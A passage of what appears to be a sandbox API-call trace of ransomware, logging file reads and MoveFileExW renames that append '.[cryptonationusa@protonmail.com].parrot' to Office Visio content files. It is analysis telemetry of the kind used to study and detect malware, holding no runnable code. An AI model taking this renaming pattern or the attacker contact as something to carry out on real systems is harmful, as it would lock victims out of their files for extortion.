dwFlags=0x2) returned 1 [0222.351] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.351] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.353] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8c00, lpOverlapped=0x0) returned 1 [0222.359] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETRM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netrm_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETRM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netrm_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.367] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.368] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.368] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8800, lpOverlapped=0x0) returned 1 [0222.370] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETRM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netrm_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETRM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netrm_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.377] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.377] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.378] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ce00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4ce00, lpOverlapped=0x0) returned 1 [0222.390] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETSYM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netsym_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETSYM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netsym_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.411] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.411] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.413] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.413] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4bc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4bc00, lpOverlapped=0x0) returned 1 [0222.432] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETSYM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netsym_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETSYM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netsym_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.500] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.500] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.502] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14400, lpOverlapped=0x0) returned 1 [0222.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETW_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netw_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETW_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netw_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.523] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.525] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14400, lpOverlapped=0x0) returned 1 [0222.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETW_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netw_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETW_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netw_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.540] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.541] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.541] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11600, lpOverlapped=0x0) returned 1 [0222.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OBJREL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\objrel_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OBJREL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\objrel_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.556] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.558] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11200, lpOverlapped=0x0) returned 1 [0222.561] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OBJREL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\objrel_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OBJREL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\objrel_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.572] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.574] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.574] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16400, lpOverlapped=0x0) returned 1 [0222.577] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFACC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offacc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFACC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offacc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.590] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.591] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15c00, lpOverlapped=0x0) returned 1 [0222.594] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFACC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offacc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFACC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offacc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.606] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.606] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.607] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.607] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x32600, lpOverlapped=0x0) returned 1 [0222.616] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFEQP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offeqp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFEQP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offeqp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.677] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.677] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.679] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.679] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2f600, lpOverlapped=0x0) returned 1 [0222.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFEQP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offeqp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFEQP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offeqp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.705] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.707] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.707] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x77000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x77000, lpOverlapped=0x0) returned 1 [0222.731] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFFRN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offfrn_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFFRN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offfrn_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.763] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.763] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.765] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x75800, lpOverlapped=0x0) returned 1 [0222.790] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFFRN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offfrn_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFFRN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offfrn_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.883] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.883] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.885] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.885] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11600, lpOverlapped=0x0) returned 1 [0222.894] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFLYT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offlyt_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFLYT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offlyt_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.917] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.917] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.918] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11600, lpOverlapped=0x0) returned 1 [0222.921] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFLYT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offlyt_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\OFFLYT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\offlyt_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.933] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.935] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.935] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25200, lpOverlapped=0x0) returned 1 [0222.942] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGCH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGCH_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.955] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.955] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.956] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.956] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8200, lpOverlapped=0x0) returned 1 [0222.961] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGCH_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio 